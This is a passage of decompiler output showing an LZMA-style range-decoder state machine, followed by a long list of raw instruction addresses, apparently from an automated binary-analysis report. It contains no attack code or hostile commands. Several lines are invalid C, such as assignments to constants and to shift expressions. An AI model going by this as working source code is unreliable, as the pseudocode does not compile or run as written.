											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406609
0x00406609
0x00406609
0x00406609
0x0040660f
0x00406613
0x00406617
0x00406621
0x0040662f
0x00406905
0x00406905
0x00406908
0x0040690f
0x0040693c
0x0040693c
0x00406940
0x00000000
0x00000000
0x00406942
0x0040694b
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406963
0x0040697c
0x0040697f
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x00406974
0x00406977
0x00406977
0x00406999
0x00406939
0x00406939
0x00406939
0x0040693c
0x00406940
0x00000000
0x00000000
0x00000000
0x0040699b
0x0040699b
0x00406914
0x00406918
0x00406a50
0x00406a50
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x0040691e
0x00406924
0x0040692b
0x00406933
0x00406933
0x00406936
0x00000000
0x00406936
0x004069a0
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00406067
0x00000000
0x0040606e
0x00406072
0x00000000
0x00000000
0x00406078
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d3
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x004069c3
0x00000000
0x004069c3
0x0040611d
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x00406147
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x004069d2
0x00000000
0x004069d2
0x0040618d
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a44
0x00000000
0x00406a44
0x0040689b
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00000000
0x004061d4
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406473
0x00406477
0x00406495
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406591
0x00406595
0x0040659c
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065b8
0x004065bc
0x004065c3
